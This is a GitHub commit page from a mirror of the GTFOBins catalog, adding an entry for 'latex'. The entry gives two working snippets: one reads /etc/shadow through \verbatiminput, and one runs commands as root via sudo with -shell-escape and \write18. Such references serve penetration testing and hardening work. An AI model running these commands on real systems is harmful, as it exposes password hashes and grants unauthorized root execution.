1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Create latex.md

Add latex.
This commit is contained in:
SynackCerv 2021-04-22 22:14:40 +02:00 committed by GitHub
parent 012b5e92d1
commit 4017773b69
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

11
_gtfobins/latex.md Normal file
View File

@ -0,0 +1,11 @@
description: `latex` is a symbolic link to [`pdftex`](/gtfobins/pdftex/). However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for [`xetex`](/gtfobins/xetex/)/[`xelatex`](/gtfobins/xelatex/).
functions:
file-read:
- code: |
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
latex read.tex
strings read.dvi
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
sudo latex -shell-escape file.tex